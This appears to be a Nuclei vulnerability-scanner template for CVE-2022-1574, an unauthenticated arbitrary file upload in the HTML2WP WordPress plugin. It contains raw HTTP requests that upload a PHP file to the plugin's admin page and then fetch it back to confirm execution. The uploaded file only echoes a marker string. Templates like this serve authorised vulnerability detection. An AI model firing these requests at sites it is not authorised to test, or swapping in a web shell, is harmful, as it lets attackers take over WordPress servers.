id: CVE-2022-1574

info:
  name: HTML2WP <= 1.0.0 - Unauthenticated Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    The HTML2WP WordPress plugin through 1.0.0 does not have authorisation and CSRF checks when importing files, and does not validate them, as a result, unauthenticated attackers can upload arbitrary files (such as PHP) on the remote server.
  reference:
    - https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
    - https://wordpress.org/plugins/html2wp/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1574
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1574
    cwe-id: CWE-434
  metadata:
    verified: "true"
  tags: wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp

requests:
  - raw:
      - |
        POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 253
        Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
        Connection: close

        -----------------------------7816508136577551742878603990
        Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
        Content-Type: text/html

        <?php

        echo "File Upload success";

        -----------------------------7816508136577551742878603990--

      - |
        GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 302"
          - "status_code_2 == 200"
          - "contains(body_2, 'File Upload success')"
        condition: and